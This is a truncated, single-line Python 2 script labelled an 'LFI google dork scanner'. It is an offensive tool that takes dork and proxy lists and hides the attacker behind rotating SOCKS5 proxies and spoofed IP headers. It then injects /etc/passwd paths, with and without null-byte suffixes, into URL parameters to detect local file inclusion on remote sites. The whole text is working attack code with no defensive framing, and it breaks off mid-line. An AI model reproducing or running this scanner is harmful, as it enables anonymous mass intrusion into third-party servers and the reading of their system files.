#!/usr/bin/python #LFI google dork scanner #coded by Freak/SynthMesc #Version 1.0.0 first release import sys,re,random,string,time,threading,os,socket,socks,urllib2,urllib try: dorklist=sys.argv[1] proxylist=sys.argv[2] except: print "Usage: " + sys.argv[0] + " [DORK LIST] [PROXY LIST]" #Simple usage for the skids out ther ^_^ exit(1) def switchProxy(): try: socket.backup except: socket.backup = socket.socket socket.socket = socket.backup proxyhost = random.choice(open(proxylist,"r").read().split("\n")).split(":") proxyport = int(proxyhost[1]) proxyhost = proxyhost[0] socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, proxyhost, proxyport) socket.socket = socks.socksocket def randomIP(): return '.'.join('%s'%random.randint(0, 255) for i in range(4)) #Generate random IP for false headers def fixurl(url, args, testfile, isnull = False): for i in range(1, len(args)): if "&" in url: if isnull: url=url.replace(args[i].split("&")[0]+"%00", testfile) else: url=url.replace(args[i].split("&")[0], testfile) else: url=url.replace(args[i], testfile) return url def test(url): try: opener = urllib2.build_opener() opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent. opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous. opener.addheaders = [('REMOTE-ADDR',randomIP())] opener.addheaders = [('VIA',randomIP())] opener.addheaders = [('X-FORWARDED-FOR',randomIP())] keywords=['nobody:'] # 'cannot be run in DOS' testfile = "/etc/passwd" args = url.split("=") for i in range(1, len(args)): for increment in range(0, 6): if len(args[i]) <= 2: continue if increment % 2 == 0: if args[i].endswith("%00"): url = fixurl(url, args, testfile, True) else: args[i] += "%00" url = fixurl(url, args, testfile, False) print "[+] Trying null byte on "+url else: print "[+] Trying on "+url try: resp=opener.open(url,timeout=5).read() except Exception, e: print("[-] "+str(e)) return pbody = resp.split("